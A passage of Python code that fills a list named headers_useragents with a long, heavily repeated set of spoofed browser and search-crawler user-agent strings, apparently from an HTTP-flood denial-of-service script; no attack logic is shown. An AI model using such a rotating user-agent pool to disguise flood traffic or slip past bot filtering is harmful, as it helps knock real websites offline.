  1194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1196.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1197.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1198.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1199.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1200.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1201.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1202.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1203.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1204.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1205.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1206.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1208.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1209.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1210.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1211.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1212.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1213.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1214.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1215.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1216.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1217.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1218.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1219.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1220.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1221.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1222.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1223.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1224.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1225.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1226.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1227.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1228.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1229.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1230.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1231.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1232.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1233.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1234.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1235.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1236.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1237.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1238.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1239.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1240.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1241.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1242.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1243.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1244.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1245.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1246.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1247.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1248.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1249.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1250.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1251.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1252.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1253.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1254.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1255.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1256.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1257.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1258.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1259.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1260.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1261.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1262.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1263.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1264.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1265.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1266.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1268.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1269.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1270.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1271.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1272.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1273.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1274.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1275.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1276.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1277.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1278.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1279.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1280.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1281.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1282.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1283.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1284.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1285.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1286.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1287.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1288.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1289.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1290.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1291.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1292.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1293.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1294.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1295.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1296.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1297.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1298.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1299.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1300.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1301.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1302.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1303.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1304.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1305.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1306.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1307.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1308.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1309.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1310.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1311.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1312.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1313.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1314.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1315.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1316.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1317.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1318.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1319.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1320.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1321.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1322.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1323.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1324.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1325.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1326.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1327.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1328.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1329.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1330.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1331.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1332.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1333.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1334.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1335.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1336.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1337.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1338.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1339.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1340.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1341.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1342.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1343.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1344.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1345.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1346.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1347.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1348.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1349.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1350.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1351.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1352.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1353.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1354.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1355.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1356.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1357.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1358.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1359.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1360.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1361.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1362.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1363.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1364.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1365.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1366.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1367.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1368.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1369.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1370.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1371.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1372.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1373.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1374.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1375.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1376.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1377.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1378.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1379.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1380.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1381.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1382.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1383.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1384.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1385.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1386.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1387.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
